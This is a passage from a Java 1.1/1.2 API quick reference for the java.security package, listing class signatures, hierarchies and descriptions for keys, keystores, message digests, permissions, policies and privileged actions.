public class GuardedObject implements Serializable {
// | Public Constructors
 | public GuardedObject (Object object, Guard guard);
// | Public Instance Methods
 | public Object getObject () throws SecurityException;
}

Hierarchy: Object-->GuardedObject(Serializable)

Identity | Java 1.1; Deprecated in Java 1.2
java.security | serializable PJ1.1(opt)

This deprecated class was used in Java 1.1 to represent an entity or Principal with an associated PublicKey object. In Java 1.1, the public key for a named entity could be retrieved from the system keystore with a line like the following:

IdentityScope.getSystemScope().getIdentity(name).getPublicKey()

As of Java 1.2, the Identity class and the related IdentityScope and Signer classes have been deprecated in favor of KeyStore and java.security.cert.Certificate.

public abstract class Identity implements java.security.PrincipalSerializable {
// | Public Constructors
 | public Identity (String name); |
 | public Identity (String name, IdentityScope scope) throws KeyManagementException; |
// | Protected Constructors
 | protected Identity (); |
// | Property Accessor Methods (by property name)
 | public String getInfo (); |
 | public void setInfo (String info); |
 | public final String getName (); | Implements:Principal
 | public PublicKey getPublicKey (); |
 | public void setPublicKey (PublicKey key) throws KeyManagementException; |
 | public final IdentityScope getScope (); |
// | Public Instance Methods
 | public void addCertificate (java.security.Certificate certificate) throws KeyManagementException; |
 | public java.security.Certificate[ ] certificates (); |
 | public void removeCertificate (java.security.Certificate certificate) throws KeyManagementException; |
 | public String toString (boolean detailed); |
// | Methods Implementing Principal
 | public final boolean equals (Object identity); |
 | public final String getName (); |
 | public int hashCode (); |
 | public String toString (); |
// | Protected Instance Methods
 | protected boolean identityEquals (Identity identity); |
}

Hierarchy: Object-->Identity(java.security.Principal,Serializable)

Subclasses: IdentityScope, Signer

Passed To: Identity.identityEquals(), IdentityScope.{addIdentity(), removeIdentity()}, javax.ejb.EJBContext.isCallerInRole(), javax.ejb.deployment.AccessControlEntry.{AccessControlEntry(), setAllowedIdentities()}, javax.ejb.deployment.ControlDescriptor.setRunAsIdentity()

Returned By: IdentityScope.getIdentity(), javax.ejb.EJBContext.getCallerIdentity(), javax.ejb.deployment.AccessControlEntry.getAllowedIdentities(), javax.ejb.deployment.ControlDescriptor.getRunAsIdentity()

IdentityScope | Java 1.1; Deprecated in Java 1.2
java.security | serializable PJ1.1(opt)

This deprecated class was used in Java 1.1 to represent a group of Identity and Signer objects and their associated PublicKey and PrivateKey objects. As of Java 1.2, it has been replaced by the KeyStore class.

public abstract class IdentityScope extends Identity {
// | Public Constructors
 | public IdentityScope (String name);
 | public IdentityScope (String name, IdentityScope scope) throws KeyManagementException;
// | Protected Constructors
 | protected IdentityScope ();
// | Public Class Methods
 | public static IdentityScope getSystemScope ();
// | Protected Class Methods
 | protected static void setSystemScope (IdentityScope scope);
// | Public Instance Methods
 | public abstract void addIdentity (Identity identity) throws KeyManagementException;
 | public abstract Identity getIdentity (String name);
 | public Identity getIdentity (java.security.Principal principal);
 | public abstract Identity getIdentity (PublicKey key);
 | public abstract java.util.Enumeration identities ();
 | public abstract void removeIdentity (Identity identity) throws KeyManagementException;
 | public abstract int size ();
// | Public Methods Overriding Identity
 | public String toString ();
}

Hierarchy: Object-->Identity(java.security.Principal,Serializable)-->IdentityScope

Passed To: Identity.Identity(), IdentityScope.{IdentityScope(), setSystemScope()}, Signer.Signer()

Returned By: Identity.getScope(), IdentityScope.getSystemScope()

InvalidAlgorithmParameterException | Java 1.2
java.security | serializable checked

Signals that one or more algorithm parameters (usually specified by a java.security.spec.AlgorithmParameterSpec object) are not valid.

public class InvalidAlgorithmParameterException extends GeneralSecurityException {
// | Public Constructors
 | public InvalidAlgorithmParameterException ();
 | public InvalidAlgorithmParameterException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->InvalidAlgorithmParameterException

Thrown By: Too many methods to list.

InvalidKeyException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals that a Key is not valid.

public class InvalidKeyException extends KeyException {
// | Public Constructors
 | public InvalidKeyException ();
 | public InvalidKeyException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->KeyException-->InvalidKeyException

Thrown By: Too many methods to list.

InvalidParameterException | Java 1.1
java.security | serializable unchecked PJ1.1(opt)

This subclass of java.lang.IllegalArgumentException signals that a parameter passed to a security method is not valid. This exception type is not widely used.

public class InvalidParameterException extends IllegalArgumentException {
// | Public Constructors
 | public InvalidParameterException ();
 | public InvalidParameterException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IllegalArgumentException-->InvalidParameterException

Thrown By: Signature.{getParameter(), setParameter()}, SignatureSpi.{engineGetParameter(), engineSetParameter()}, Signer.setKeyPair(), java.security.interfaces.DSAKeyPairGenerator.initialize()

Key | Java 1.1
java.security | serializable PJ1.1(opt)

This interface defines the high-level characteristics of all cryptographic keys. getAlgorithm() returns the name of the cryptographic algorithm (such as RSA) used with the key. getFormat() return the name of the external encoding (such as X.509) used with the key. getEncoded() returns the key as an array of bytes, encoded using the format specified by getFormat().

public interface Key extends Serializable {
// | Public Constants
1.2 | public static final long serialVersionUID ; | =6603384152749567654
// | Public Instance Methods
 | public abstract String getAlgorithm (); |
 | public abstract byte[ ] getEncoded (); |
 | public abstract String getFormat (); |
}

Hierarchy: (Key(Serializable))

Implementations: PrivateKey, PublicKey, javax.crypto.SecretKey

Passed To: Too many methods to list.

Returned By: KeyFactory.translateKey(), KeyFactorySpi.engineTranslateKey(), KeyStore.getKey(), KeyStoreSpi.engineGetKey(), javax.crypto.KeyAgreement.doPhase(), javax.crypto.KeyAgreementSpi.engineDoPhase()

KeyException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals that something is wrong with a key. See also the subclasses InvalidKeyException and KeyManagementException.

public class KeyException extends GeneralSecurityException {
// | Public Constructors
 | public KeyException ();
 | public KeyException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->KeyException

Subclasses: InvalidKeyException, KeyManagementException

Thrown By: java.security.Certificate.{decode(), encode()}, Signer.setKeyPair()

KeyFactory Java 1.2
java.security

This class translates asymmetric cryptographic keys between the two representations used by the Java Security API. java.security.Key is the opaque, algorithm-independent representation of a key used by most of the Security API. java.security.spec.KeySpec is a marker interface implemented by transparent, algorithm-specific representations of keys. KeyFactory is used with public and private keys; see javax.crypto.SecretKeyFactory if you are working with symmetric or secret keys.

To convert a Key to a KeySpec or vice versa, create a KeyFactory by calling one of the static getInstance() factory methods and specifying the name of the key algorithm (e.g., DSA or RSA). Then, use generatePublic() or generatePrivate() to create a PublicKey or PrivateKey object from a corresponding KeySpec. Or use getKeySpec() to obtain a KeySpec for a given Key. Because there can be more than one KeySpec implementation used by a particular cryptographic algorithm, you must also specify the Class of the KeySpec you desire.

If you do not need to transport keys portably between applications and/or systems, you can use a KeyStore to store and retrieve keys and certificates, avoiding KeySpec and KeyFactory altogether.

public class KeyFactory {
// | Protected Constructors
 | protected KeyFactory (KeyFactorySpi keyFacSpi, Provider provider, String algorithm);
// | Public Class Methods
 | public static KeyFactory getInstance (String algorithm) throws NoSuchAlgorithmException;
 | public static KeyFactory getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException;
// | Public Instance Methods
 | public final PrivateKey generatePrivate (java.security.spec.KeySpec keySpec) throws java.security.spec.InvalidKeySpecException;
 | public final PublicKey generatePublic (java.security.spec.KeySpec keySpec) throws java.security.spec.InvalidKeySpecException;
 | public final String getAlgorithm ();
 | public final java.security.spec.KeySpec getKeySpec (Key key, Class keySpec) throws java.security.spec.InvalidKeySpecException;
 | public final Provider getProvider ();
 | public final Key translateKey (Key key) throws InvalidKeyException;
}

Returned By: KeyFactory.getInstance()

KeyFactorySpi Java 1.2
java.security

This abstract class defines the service-provider interface for KeyFactory. A security provider must implement a concrete subclass of this class for each cryptographic algorithm it supports. Applications never need to use or subclass this class.

public abstract class KeyFactorySpi {
// | Public Constructors
 | public KeyFactorySpi ();
// | Protected Instance Methods
 | protected abstract PrivateKey engineGeneratePrivate (java.security.spec.KeySpec keySpec) throws java.security.spec.InvalidKeySpecException;
 | protected abstract PublicKey engineGeneratePublic (java.security.spec.KeySpec keySpec) throws java.security.spec.InvalidKeySpecException;
 | protected abstract java.security.spec.KeySpec engineGetKeySpec (Key key, Class keySpec) throws java.security.spec.InvalidKeySpecException;
 | protected abstract Key engineTranslateKey (Key key) throws InvalidKeyException;
}

Passed To: KeyFactory.KeyFactory()

KeyManagementException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals an exception in a key management operation. In Java 1.2, this exception is only thrown by deprecated methods.

public class KeyManagementException extends KeyException {
// | Public Constructors
 | public KeyManagementException ();
 | public KeyManagementException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->KeyException-->KeyManagementException

Thrown By: Identity.{addCertificate(), Identity(), removeCertificate(), setPublicKey()}, IdentityScope.{addIdentity(), IdentityScope(), removeIdentity()}, Signer.Signer()

KeyPair | Java 1.1
java.security | serializable PJ1.1(opt)

This class is a simple container for a PublicKey and a PrivateKey object. Because a KeyPair contains an unprotected private key, it must be used with as much caution as a PrivateKey object.

public final class KeyPair implements Serializable {
// | Public Constructors
 | public KeyPair (PublicKey publicKey, PrivateKey privateKey);
// | Public Instance Methods
 | public PrivateKey getPrivate ();
 | public PublicKey getPublic ();
}

Hierarchy: Object-->KeyPair(Serializable)

Passed To: Signer.setKeyPair()

Returned By: KeyPairGenerator.{generateKeyPair(), genKeyPair()}, KeyPairGeneratorSpi.generateKeyPair()

KeyPairGenerator | Java 1.1
java.security | PJ1.1(opt)

This class generates a public/private key pair for a specified cryptographic algorithm. To create a KeyPairGenerator, call one of the static getInstance() methods, specifying the name of the algorithm and, optionally, the name of the security provider to use. The default "SUN" provider shipped with Java 1.2 supports only the "DSA" algorithm. The "SunJCE" provider of the Java Cryptography Extension (JCE) additionally supports the "DiffieHellman" algorithm.

Once you have created a KeyPairGenerator, initialize it by calling initialize(). You can perform an algorithm-independent initialization by simply specifying the desired key size in bits. Alternatively, you can do an algorithm-dependent initialization by providing an appropriate AlgorithmParameterSpec object for the key-generation algorithm. In either case, you may optionally provide your own source of randomness in the guise of a SecureRandom object. Once you have created and initialized a KeyPairGenerator, call genKeyPair() to create a KeyPair object. Remember that the KeyPair contains a PrivateKey that must be kept private.

For historical reasons, KeyPairGenerator extends KeyPairGeneratorSpi. Applications should not use any methods inherited from that class.

public abstract class KeyPairGenerator extends KeyPairGeneratorSpi {
// | Protected Constructors
 | protected KeyPairGenerator (String algorithm); |
// | Public Class Methods
 | public static KeyPairGenerator getInstance (String algorithm) throws NoSuchAlgorithmException; |
 | public static KeyPairGenerator getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException; |
// | Public Instance Methods
1.2 | public final KeyPair genKeyPair (); |
 | public String getAlgorithm (); |
1.2 | public final Provider getProvider (); |
1.2 | public void initialize (java.security.spec.AlgorithmParameterSpec params) throws InvalidAlgorithmParameterException; |
 | public void initialize (int keysize); |
// | Public Methods Overriding KeyPairGeneratorSpi
 | public KeyPair generateKeyPair (); | constant
1.2 | public void initialize (java.security.spec.AlgorithmParameterSpec params, SecureRandom random) throws InvalidAlgorithmParameterException; | empty
 | public void initialize (int keysize, SecureRandom random); | empty
}

Hierarchy: Object-->KeyPairGeneratorSpi-->KeyPairGenerator

Returned By: KeyPairGenerator.getInstance()

KeyPairGeneratorSpi Java 1.2
java.security

This abstract class defines the service-provider interface for KeyPairGenerator. A security provider must implement a concrete subclass of this class for each cryptographic algorithm for which it can generate key pairs. Applications never need to use or subclass this class.

public abstract class KeyPairGeneratorSpi {
// | Public Constructors
 | public KeyPairGeneratorSpi ();
// | Public Instance Methods
 | public abstract KeyPair generateKeyPair ();
 | public void initialize (java.security.spec.AlgorithmParameterSpec params, SecureRandom random) throws InvalidAlgorithmParameterException;
 | public abstract void initialize (int keysize, SecureRandom random);
}

Subclasses: KeyPairGenerator

KeyStore Java 1.2
java.security

This class represents a mapping of names, or aliases, to Key and java.security.cert.Certificate objects. Obtain a KeyStore object by calling one of the static getInstance() methods, specifying the desired key store type and, optionally, the desired provider. Use "JKS" to specify the "Java Key Store" type defined by Sun. Because of U.S. export regulations, this default KeyStore supports only weak encryption of private keys. If you have the Java Cryptography Extension installed, use the type "JCEKS" and provider "SunJCE" to obtain a KeyStore implementation that offers much stronger password-based encryption of keys. Once you have created a KeyStore, use load() to read its contents from a stream, supplying an optional password that verifies the integrity of the stream data. Keystores are typically read from a file named .keystore in the user's home directory.

A KeyStore may contain both public and private key entries. A public key entry is represented by a Certificate object. Use getCertificate() to look up a named public key certificate and setCertificateEntry() to add a new public key certificate to the keystore. A private key entry in the keystore contains both a password-protected Key and an array of Certificate objects that represent the certificate chain for the public key that corresponds to the private key. Use getKey() and getCertificateChain() to look up the key and certificate chain. Use setKeyEntry() to create a new private key entry. You must provide a password when reading or writing a private key from the keystore; this password encrypts the key data, and each private key entry should have a different password. If you are using the JCE, you may also store javax.crypto.SecretKey objects in a KeyStore. Secret keys are stored like private keys, except that they do not have a certificate chain associated with them.

To delete an entry from a KeyStore, use deleteEntry(). If you modify the contents of a KeyStore, use store() to save the keystore to a specified stream. You may specify a password that is used to validate the integrity of the data, but it is not used to encrypt the keystore.

public class KeyStore {
// | Protected Constructors
 | protected KeyStore (KeyStoreSpi keyStoreSpi, Provider provider, String type);
// | Public Class Methods
 | public static final String getDefaultType ();
 | public static KeyStore getInstance (String type) throws KeyStoreException;
 | public static KeyStore getInstance (String type, String provider) throws KeyStoreExceptionNoSuchProviderException;
// | Public Instance Methods
 | public final java.util.Enumeration aliases () throws KeyStoreException;
 | public final boolean containsAlias (String alias) throws KeyStoreException;
 | public final void deleteEntry (String alias) throws KeyStoreException;
 | public final java.security.cert.Certificate getCertificate (String alias) throws KeyStoreException;
 | public final String getCertificateAlias (java.security.cert.Certificate cert) throws KeyStoreException;
 | public final java.security.cert.Certificate[ ] getCertificateChain (String alias) throws KeyStoreException;
 | public final java.util.Date getCreationDate (String alias) throws KeyStoreException;
 | public final Key getKey (String alias, char[ ] password) throws KeyStoreExceptionNoSuchAlgorithmExceptionUnrecoverableKeyException;
 | public final Provider getProvider ();
 | public final String getType ();
 | public final boolean isCertificateEntry (String alias) throws KeyStoreException;
 | public final boolean isKeyEntry (String alias) throws KeyStoreException;
 | public final void load (java.io.InputStream stream, char[ ] password) throws java.io.IOExceptionNoSuchAlgorithmExceptionjava.security.cert.CertificateException;
 | public final void setCertificateEntry (String alias, java.security.cert.Certificate cert) throws KeyStoreException;
 | public final void setKeyEntry (String alias, byte[ ] key, java.security.cert.Certificate[ ] chain) throws KeyStoreException;
 | public final void setKeyEntry (String alias, Key key, char[ ] password, java.security.cert.Certificate[ ] chain) throws KeyStoreException;
 | public final int size () throws KeyStoreException;
 | public final void store (java.io.OutputStream stream, char[ ] password) throws KeyStoreExceptionjava.io.IOExceptionNoSuchAlgorithmExceptionjava.security.cert.CertificateException;
}

Returned By: KeyStore.getInstance()

KeyStoreException | Java 1.2
java.security | serializable checked

Signals a problem with a KeyStore.

public class KeyStoreException extends GeneralSecurityException {
// | Public Constructors
 | public KeyStoreException ();
 | public KeyStoreException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->KeyStoreException

Thrown By: Too many methods to list.

KeyStoreSpi Java 1.2
java.security

This abstract class defines the service-provider interface for KeyStore. A security provider must implement a concrete subclass of this class for each KeyStore type it supports. Applications never need to use or subclass this class.

public abstract class KeyStoreSpi {
// | Public Constructors
 | public KeyStoreSpi ();
// | Public Instance Methods
 | public abstract java.util.Enumeration engineAliases ();
 | public abstract boolean engineContainsAlias (String alias);
 | public abstract void engineDeleteEntry (String alias) throws KeyStoreException;
 | public abstract java.security.cert.Certificate engineGetCertificate (String alias);
 | public abstract String engineGetCertificateAlias (java.security.cert.Certificate cert);
 | public abstract java.security.cert.Certificate[ ] engineGetCertificateChain (String alias);
 | public abstract java.util.Date engineGetCreationDate (String alias);
 | public abstract Key engineGetKey (String alias, char[ ] password) throws NoSuchAlgorithmExceptionUnrecoverableKeyException;
 | public abstract boolean engineIsCertificateEntry (String alias);
 | public abstract boolean engineIsKeyEntry (String alias);
 | public abstract void engineLoad (java.io.InputStream stream, char[ ] password) throws java.io.IOExceptionNoSuchAlgorithmExceptionjava.security.cert.CertificateException;
 | public abstract void engineSetCertificateEntry (String alias, java.security.cert.Certificate cert) throws KeyStoreException;
 | public abstract void engineSetKeyEntry (String alias, byte[ ] key, java.security.cert.Certificate[ ] chain) throws KeyStoreException;
 | public abstract void engineSetKeyEntry (String alias, Key key, char[ ] password, java.security.cert.Certificate[ ] chain) throws KeyStoreException;
 | public abstract int engineSize ();
 | public abstract void engineStore (java.io.OutputStream stream, char[ ] password) throws java.io.IOExceptionNoSuchAlgorithmExceptionjava.security.cert.CertificateException;
}

Passed To: KeyStore.KeyStore()

MessageDigest | Java 1.1
java.security | PJ1.1(opt)

This class computes a message digest (also known as a cryptographic checksum) for an arbitrary sequence of bytes. Obtain a MessageDigest object by calling one of the static getInstance() factory methods and specifying the desired algorithm (e.g., SHA or MD5) and, optionally, the desired provider. Next, specify the data to be digested by calling any of the update() methods one or more times. Finally, call digest(), which computes the message digest and returns it as an array of bytes. If you have only one array of bytes to be digested, you can pass it directly to digest() and skip the update() step. When you call digest(), the MessageDigest() object is reset and is then ready to compute a new digest. You can also explicitly reset a MessageDigest without computing the digest by calling reset(). To compute a digest for part of a message without resetting the MessageDigest, clone the MessageDigest and call digest() on the cloned copy. Note that not all implementations are cloneable, so the clone() method may throw an exception.

The MessageDigest class is often used in conjunction with DigestInputStream and DigestOutputStream, which automate the update() calls for you.

public abstract class MessageDigest extends MessageDigestSpi {
// | Protected Constructors
 | protected MessageDigest (String algorithm);
// | Public Class Methods
 | public static MessageDigest getInstance (String algorithm) throws NoSuchAlgorithmException;
 | public static MessageDigest getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException;
 | public static boolean isEqual (byte[ ] digesta, byte[ ] digestb);
// | Public Instance Methods
 | public byte[ ] digest ();
 | public byte[ ] digest (byte[ ] input);
1.2 | public int digest (byte[ ] buf, int offset, int len) throws DigestException;
 | public final String getAlgorithm ();
1.2 | public final int getDigestLength ();
1.2 | public final Provider getProvider ();
 | public void reset ();
 | public void update (byte input);
 | public void update (byte[ ] input);
 | public void update (byte[ ] input, int offset, int len);
// | Public Methods Overriding MessageDigestSpi
 | public Object clone () throws CloneNotSupportedException;
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->MessageDigestSpi-->MessageDigest

Passed To: DigestInputStream.{DigestInputStream(), setMessageDigest()}, DigestOutputStream.{DigestOutputStream(), setMessageDigest()}

Returned By: DigestInputStream.getMessageDigest(), DigestOutputStream.getMessageDigest(), MessageDigest.getInstance()

Type Of: DigestInputStream.digest, DigestOutputStream.digest

MessageDigestSpi Java 1.2
java.security

This abstract class defines the service-provider interface for MessageDigest. A security provider must implement a concrete subclass of this class for each message-digest algorithm it supports. Applications never need to use or subclass this class.

public abstract class MessageDigestSpi {
// | Public Constructors
 | public MessageDigestSpi (); |
// | Public Methods Overriding Object
 | public Object clone () throws CloneNotSupportedException; |
// | Protected Instance Methods
 | protected abstract byte[ ] engineDigest (); |
 | protected int engineDigest (byte[ ] buf, int offset, int len) throws DigestException; |
 | protected int engineGetDigestLength (); | constant
 | protected abstract void engineReset (); |
 | protected abstract void engineUpdate (byte input); |
 | protected abstract void engineUpdate (byte[ ] input, int offset, int len); |
}

Subclasses: MessageDigest

NoSuchAlgorithmException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals that a requested cryptographic algorithm is not available. Thrown by getInstance() factory methods throughout the java.security package.

public class NoSuchAlgorithmException extends GeneralSecurityException {
// | Public Constructors
 | public NoSuchAlgorithmException ();
 | public NoSuchAlgorithmException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->NoSuchAlgorithmException

Thrown By: Too many methods to list.

NoSuchProviderException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals that a requested cryptographic service provider is not available. Thrown by getInstance() factory methods throughout the java.security package.

public class NoSuchProviderException extends GeneralSecurityException {
// | Public Constructors
 | public NoSuchProviderException ();
 | public NoSuchProviderException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->NoSuchProviderException

Thrown By: Too many methods to list.

Permission | Java 1.2
java.security | serializable permission

This abstract class represents a system resource, such as a file in the filesystem, or a system capability, such as the ability to accept network connections. Concrete subclasses of Permission, such as java.io.FilePermission and java.net.SocketPermission, represent specific types of resources. Permission objects are used by system code that is requesting access to a resource. They are also used by Policy objects that grant access to resources. The AccessController.checkPermission() method considers the source of the currently running Java code, determines the set of permissions that are granted to that code by the current Policy, and then checks to see whether a specified Permission object is included in that set. With the introduction of Java 1.2, this is the fundamental Java access-control mechanism.

Each permission has a name (sometimes called the target) and, optionally, a comma-separated list of actions. For example, the name of a FilePermission is the name of the file or directory for which permission is being granted. The actions associated with this permission might be "read"; "write"; or "read,write". The interpretation of the name and action strings is entirely up to the implementation of Permission. A number of implementations support the use of wildcards; for example, a FilePermission can have a name of "/tmp/*", which represents access to any files in a /tmp directory. Permission objects must be immutable, so an implementation must never define a setName() or setActions() method.

One of the most important abstract methods defined by Permission is implies(). This method must return true if this Permission implies another Permission. For example, if an application requests a FilePermission with name "/tmp/test" and action "read", and the current security Policy grants a FilePermission with name "/tmp/*" and actions "read,write", the request is granted because the requested permission is implied by the granted one.

In general, only system-level code needs to work directly with Permission and its concrete subclasses. System administrators who are configuring security policies need to understand the various Permission subclasses. Applications that want to extend the Java access-control mechanism to provide customized access control to their own resources should subclass Permission to define custom permission types.

public abstract class Permission implements GuardSerializable {
// | Public Constructors
 | public Permission (String name); |
// | Public Instance Methods
 | public abstract String getActions (); |
 | public final String getName (); |
 | public abstract boolean implies (java.security.Permission permission); |
 | public PermissionCollection newPermissionCollection (); | constant
// | Methods Implementing Guard
 | public void checkGuard (Object object) throws SecurityException; |
// | Public Methods Overriding Object
 | public abstract boolean equals (Object obj); |
 | public abstract int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->java.security.Permission(Guard,Serializable)

Subclasses: java.io.FilePermission, java.net.SocketPermission, AllPermission, BasicPermission, UnresolvedPermission

Passed To: Too many methods to list.

Returned By: java.net.HttpURLConnection.getPermission(), java.net.URLConnection.getPermission(), AccessControlException.getPermission()

PermissionCollection | Java 1.2
java.security | serializable

This class is used by Permissions to store a collection of Permission objects that are all the same type. Like the Permission class itself, PermissionCollection defines an implies() method that can determine whether a requested Permission is implied by any of the Permission objects in the collection. Some Permission types may require a custom PermissionCollection type in order to correctly implement the implies() method. In this case, the Permission subclass should override newPermissionCollection() to return a Permission of the appropriate type. PermissionCollection is used by system code that manages security policies. Applications rarely need to use it.

public abstract class PermissionCollection implements Serializable {
// | Public Constructors
 | public PermissionCollection ();
// | Public Instance Methods
 | public abstract void add (java.security.Permission permission);
 | public abstract java.util.Enumeration elements ();
 | public abstract boolean implies (java.security.Permission permission);
 | public boolean isReadOnly ();
 | public void setReadOnly ();
// | Public Methods Overriding Object
 | public String toString ();
}

Hierarchy: Object-->PermissionCollection(Serializable)

Subclasses: Permissions

Passed To: ProtectionDomain.ProtectionDomain()

Returned By: java.io.FilePermission.newPermissionCollection(), java.net.SocketPermission.newPermissionCollection(), java.net.URLClassLoader.getPermissions(), AllPermission.newPermissionCollection(), BasicPermission.newPermissionCollection(), java.security.Permission.newPermissionCollection(), java.security.Policy.getPermissions(), ProtectionDomain.getPermissions(), SecureClassLoader.getPermissions(), UnresolvedPermission.newPermissionCollection(), java.util.PropertyPermission.newPermissionCollection()

Permissions | Java 1.2
java.security | serializable

This class stores an arbitrary collection of Permission objects. When Permission objects are added with the add() method, they are grouped into an internal set of PermissionCollection objects that contain only a single type of Permission. Use the elements() method to obtain an Enumeration of the Permission objects in the collection. Use implies() to determine if a specified Permission is implied by any of the Permission objects in the collection. Permissions is used by system code that manages security policies. Applications rarely need to use it.

public final class Permissions extends PermissionCollection implements Serializable {
// | Public Constructors
 | public Permissions ();
// | Public Methods Overriding PermissionCollection
 | public void add (java.security.Permission permission);
 | public java.util.Enumeration elements ();
 | public boolean implies (java.security.Permission permission);
}

Hierarchy: Object-->PermissionCollection(Serializable)-->Permissions(Serializable)

Policy Java 1.2
java.security

This class provides a mapping from CodeSource objects to PermissionCollection objects; it defines a security policy by specifying what permissions are granted to what code. There is only a single Policy in effect at any one time. Obtain the system policy by calling the static getPolicy() method. Code that has appropriate permissions can specify a new system policy by calling setPolicy(). getPermissions() is the central Policy method; it evaluates the Policy for a given CodeSource and returns an appropriate PermissionCollection. The refresh() method is a request to a Policy object to update its state (for example, by rereading its configuration file). The Policy class is used primarily by system-level code. Applications should not need to use this class unless they implement some kind of custom access-control mechanism.

public abstract class Policy {
// | Public Constructors
 | public Policy ();
// | Public Class Methods
 | public static java.security.Policy getPolicy ();
 | public static void setPolicy (java.security.Policy policy);
// | Public Instance Methods
 | public abstract PermissionCollection getPermissions (CodeSource codesource);
 | public abstract void refresh ();
}

Passed To: java.security.Policy.setPolicy()

Returned By: java.security.Policy.getPolicy()

Principal | Java 1.1
java.security | PJ1.1(opt)

This interface represents any entity that may serve as a principal in a cryptographic transaction of any kind. A Principal may represent an individual, a computer, or an organization, for example.

public interface Principal {
// | Public Instance Methods
 | public abstract boolean equals (Object another);
 | public abstract String getName ();
 | public abstract int hashCode ();
 | public abstract String toString ();
}

Implementations: Identity, java.security.acl.Group

Passed To: IdentityScope.getIdentity(), java.security.acl.Acl.{addEntry(), checkPermission(), getPermissions(), removeEntry(), setName()}, java.security.acl.AclEntry.setPrincipal(), java.security.acl.Group.{addMember(), isMember(), removeMember()}, java.security.acl.Owner.{addOwner(), deleteOwner(), isOwner()}

Returned By: java.security.Certificate.{getGuarantor(), getPrincipal()}, java.security.acl.AclEntry.getPrincipal(), java.security.cert.X509Certificate.{getIssuerDN(), getSubjectDN()}, java.security.cert.X509CRL.getIssuerDN()

PrivateKey | Java 1.1
java.security | serializable PJ1.1(opt)

This interface represents a private cryptographic key. It extends the Key interface, but does not add any new methods. The interface exists in order to create a strong distinction between private and public keys. See also PublicKey.

public interface PrivateKey extends Key {
// | Public Constants
1.2 | public static final long serialVersionUID ; | =6034044314589513430
}

Hierarchy: (PrivateKey(Key(Serializable)))

Implementations: java.security.interfaces.DSAPrivateKey, java.security.interfaces.RSAPrivateKey, javax.crypto.interfaces.DHPrivateKey

Passed To: KeyPair.KeyPair(), Signature.initSign(), SignatureSpi.engineInitSign(), SignedObject.SignedObject()

Returned By: KeyFactory.generatePrivate(), KeyFactorySpi.engineGeneratePrivate(), KeyPair.getPrivate(), Signer.getPrivateKey()

PrivilegedAction Java 1.2
java.security

This interface defines a block of code (the run() method) that is to be executed as privileged code by the AccessController.doPrivileged() method. When privileged code is run in this way, the AccessController looks only at the permissions of the immediate caller, not the permissions of the entire call stack. The immediate caller is typically fully trusted system code that has a full set of permissions, and therefore the privileged code runs with that full set of permissions, even if the system code is invoked by untrusted code with no permissions whatsoever.

Privileged code is typically required only when you are writing a trusted system library (such as a Java extension package) that must read local files or perform other restricted actions, even when called by untrusted code. For example, a class that must call System.loadLibrary() to load native methods should make the call to loadLibrary() within the run() method of a PrivilegedAction. If your privileged code may throw a checked exception, implement it in the run() method of a PrivilegedExceptionAction instead.

Be very careful when implementing this interface. To minimize the possibility of security holes, keep the body of the run() method as short as possible.

public interface PrivilegedAction {
// | Public Instance Methods
 | public abstract Object run ();
}

Passed To: AccessController.doPrivileged()

PrivilegedActionException | Java 1.2
java.security | serializable checked

This exception class is a wrapper around an arbitrary Exception thrown by a PrivilegedExceptionAction executed by the AccessController.doPrivileged() method. Use getException() to obtain the wrapped Exception object.

public class PrivilegedActionException extends Exception {
// | Public Constructors
 | public PrivilegedActionException (Exception exception);
// | Public Instance Methods
 | public Exception getException ();
// | Public Methods Overriding Throwable
 | public void printStackTrace ();
 | public void printStackTrace (java.io.PrintWriter pw);
 | public void printStackTrace (java.io.PrintStream ps);
1.3 | public String toString ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->PrivilegedActionException

Thrown By: AccessController.doPrivileged()

PrivilegedExceptionAction Java 1.2
java.security

This interface is like PrivilegedAction, except that its run() method may throw an exception. See PrivilegedAction for details.

public interface PrivilegedExceptionAction {
// | Public Instance Methods
 | public abstract Object run () throws Exception;
}

Passed To: AccessController.doPrivileged()

ProtectionDomain Java 1.2
java.security

This class represents a CodeSource and the associated PermissionCollection granted to that CodeSource by a Policy object. The implies() method checks to see whether the specified Permission is implied by any of the permissions granted to this ProtectionDomain. In Java 1.2, every class has an associated ProtectionDomain, which can be obtained with the getProtectionDomain() method of the Class object. Only applications that implement a custom ClassLoader should need to use this class.

public class ProtectionDomain {
// | Public Constructors
 | public ProtectionDomain (CodeSource codesource, PermissionCollection permissions);
// | Public Instance Methods
 | public final CodeSource getCodeSource ();
 | public final PermissionCollection getPermissions ();
 | public boolean implies (java.security.Permission permission);
// | Public Methods Overriding Object
 | public String toString ();
}

Passed To: ClassLoader.defineClass(), AccessControlContext.AccessControlContext(), DomainCombiner.combine()

Returned By: Class.getProtectionDomain(), DomainCombiner.combine()

Provider | Java 1.1
java.security | cloneable serializable collection PJ1.1(opt)

This class represents a security provider. It specifies class names for implementations of one or more algorithms for message digests, digital signatures, key generation, key conversion, key management, secure random number generation, certificate conversion, and algorithm parameter management. The getName(), getVersion(), and getInfo() methods return information about the provider. Provider inherits from Properties and maintains a mapping of property names to property values. These name/value pairs specify the capabilities of the Provider implementation. Each property name has the form:

service_type.algorithm_name

